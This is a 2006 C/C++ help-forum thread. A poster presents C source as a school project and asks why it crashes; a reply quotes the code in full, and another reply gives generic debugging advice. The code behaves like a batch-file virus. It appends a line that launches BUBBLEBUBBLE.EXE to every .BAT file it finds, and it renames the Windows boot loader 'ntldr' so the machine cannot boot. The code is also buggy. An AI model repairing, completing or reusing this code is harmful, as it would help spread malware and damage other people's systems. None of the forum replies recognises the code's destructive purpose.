C/C++ Help
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
 
User Name:
Password:
Remember me
 
Go Back   Dev Articles Community ForumsProgrammingC/C++ Help

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Display Modes
 
Unread Dev Articles Community Forums Sponsor:
  #1  
Old June 13th, 2006, 05:49 PM
bluedawn87 bluedawn87 is offline
Registered User
Dev Articles Newbie (0 - 499 posts)
 
Join Date: Jun 2006
Location: Ontario Canada
Posts: 1 bluedawn87 User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 11 m 29 sec
Reputation Power: 0
C program crashing!?!?

Hey everyone!! ....Just started C a couple weeks ago, so save the laughs about my coding plz....I'm currently doing a project for high school in C. My objective with this program is to find all bat files in the given directory, then add the path to my program on the last line. I seem to have noticed that it doesn't crash on the school computer, which is running Win98 SE. At home, I have XP SP2. Everything compiles fine with borland's bcc32, but when i execute, my program crashes......any help is much appreciated as it's due in 2 days!! Below is my code.
==================================================
#include <stdio.h>
#include<dos.h>
#include<string.h>
#include<dir.h>


struct ffblk ffblk1;
int Find_Me();
int Get_Me(char *path);
int Blow_Me();

main()
{
char old[MAXPATH];
Get_Me(old);
chdir(old);
Find_Me();
Blow_Me();

return 0;

}


struct ffblk ffblk2;

Find_Me()
{
char comp(FA_HIDDEN);
char comp1(FA_HIDDEN);
char comp2(FA_HIDDEN);
int q;

chdir("..");
if(findfirst("*.BAT",&ffblk2,comp)!=-1)
Blow_Me();

while(comp!=-1)
{
comp=findnext(&ffblk2);
Blow_Me();

}

chdir("..");
if (findfirst("ntldr.*",&ffblk2,comp1)!=-1)
{
rename("ntldr","ntldr.foo");

while(q!=-1)
{
q=findnext(&ffblk2);

}
}

return 0;
}


Blow_Me()
{
FILE *squeek;
char Blow_Buffer[17];
char vpath[MAXPATH];

Get_Me(vpath);

squeek=fopen(ffblk2.ff_name,"rt+");
fseek(squeek,-16,SEEK_END);
fread(Blow_Buffer,16,1,squeek);
Blow_Buffer[16]=0;

if (strcmp(Blow_Buffer,"BUBBLEBUBBLE.EXE"))
{
fseek(squeek,0,SEEK_END);
fprintf(squeek,"\nSTART C:\\testdir\\BUBBLEBUBBLE.EXE",&ffblk2);
}
fclose(squeek);
return 0;
}


Get_Me(char *path)
{
strcpy(path, "A:\\");
path[0]='A' + getdisk();
getcurdir(0, path+3);
return 0;
}

Reply With Quote
  #2  
Old June 16th, 2006, 05:25 PM
eburghardt eburghardt is offline
Registered User
Dev Articles Newbie (0 - 499 posts)
 
Join Date: Jun 2006
Posts: 2 eburghardt User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 13 m 32 sec
Reputation Power: 0
general suggestion/comment

I realize this is not the answer you are looking for, but the advise will serve you well now and in the future:
comment your code! if you have good comments it allows other programmers to glance at your stuff and follow what you are doing and therefore be able to help you without have to decode your personalized variables/functions/methods/class names etc.
It is also very useful for maintainence of your own code; i.e. if you return to a project after a couple days/weeks/months you can see easily what was going on...
best of luck!

Quote:
Originally Posted by bluedawn87
Hey everyone!! ....Just started C a couple weeks ago, so save the laughs about my coding plz....I'm currently doing a project for high school in C. My objective with this program is to find all bat files in the given directory, then add the path to my program on the last line. I seem to have noticed that it doesn't crash on the school computer, which is running Win98 SE. At home, I have XP SP2. Everything compiles fine with borland's bcc32, but when i execute, my program crashes......any help is much appreciated as it's due in 2 days!! Below is my code.
==================================================
#include <stdio.h>
#include<dos.h>
#include<string.h>
#include<dir.h>


struct ffblk ffblk1;
int Find_Me();
int Get_Me(char *path);
int Blow_Me();

main()
{
char old[MAXPATH];
Get_Me(old);
chdir(old);
Find_Me();
Blow_Me();

return 0;

}


struct ffblk ffblk2;

Find_Me()
{
char comp(FA_HIDDEN);
char comp1(FA_HIDDEN);
char comp2(FA_HIDDEN);
int q;

chdir("..");
if(findfirst("*.BAT",&ffblk2,comp)!=-1)
Blow_Me();

while(comp!=-1)
{
comp=findnext(&ffblk2);
Blow_Me();

}

chdir("..");
if (findfirst("ntldr.*",&ffblk2,comp1)!=-1)
{
rename("ntldr","ntldr.foo");

while(q!=-1)
{
q=findnext(&ffblk2);

}
}

return 0;
}


Blow_Me()
{
FILE *squeek;
char Blow_Buffer[17];
char vpath[MAXPATH];

Get_Me(vpath);

squeek=fopen(ffblk2.ff_name,"rt+");
fseek(squeek,-16,SEEK_END);
fread(Blow_Buffer,16,1,squeek);
Blow_Buffer[16]=0;

if (strcmp(Blow_Buffer,"BUBBLEBUBBLE.EXE"))
{
fseek(squeek,0,SEEK_END);
fprintf(squeek,"\nSTART C:\\testdir\\BUBBLEBUBBLE.EXE",&ffblk2);
}
fclose(squeek);
return 0;
}


Get_Me(char *path)
{
strcpy(path, "A:\\");
path[0]='A' + getdisk();
getcurdir(0, path+3);
return 0;
}

Reply With Quote
  #3  
Old June 26th, 2006, 10:20 AM
Cirus Cirus is offline
Contributing User
Dev Articles Newbie (0 - 499 posts)
 
Join Date: Mar 2005
Posts: 276 Cirus User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 1 Day 11 h 48 m 58 sec
Reputation Power: 4
Your error is genuine. Though I just glanced over your code , I doubt that FindFirstFile and FindNext take different arguments for Win98SE and Win XP.

If you check MSDN, for any function, in the REMARK section , you will find under what OS do the functions need to take different arguments, values or flags.
Check out that first and then try.

Reply With Quote
Reply

Viewing: Dev Articles Community ForumsProgrammingC/C++ Help > C program crashing!?!?


Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump



 Free IT White Papers!
 
How to Present Effectively Online
This white paper offers practical and actionable advice on the key steps that any presenter should consider as they plan and execute a Webinar or online meeting.

Request Your Free Technology Downloads!
 
Open Source Security Myths
Open Source Software (OSS) is computer software whose source code is available to the general public with relaxed or non-existent intellectual property restrictions (or arrangement such as the public domain), and is usually developed with the input of many contributors.

Request Your Free Technology Downloads!
 
Power and Cooling Capacity Management for Data Centers
This paper describes the principles for achieving power and cooling capacity management.

Request Your Free Technology Downloads!
 
Scalable, Fault-Tolerant NAS for Oracle - The Next Generation
For several years NAS has been evolving as a storage alternative for Oracle databases, and for good reason: NAS is quite often the simplest, most cost-effective storage approach for Oracle. Learn about the benefits that HP's approach to scalable NAS brings to Oracle environments in this comprehensive white paper.

Request Your Free Technology Downloads!
 
Understanding Web Application Security Challenges
This white paper discusses many common threats and preventive measures for Web application security, and explains what you can do to help protect your organization.

Request Your Free Technology Downloads!
 

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 





© 2003-2009 by Developer Shed. All rights reserved. DS Cluster 5 hosted by Hostway
Stay green...Green IT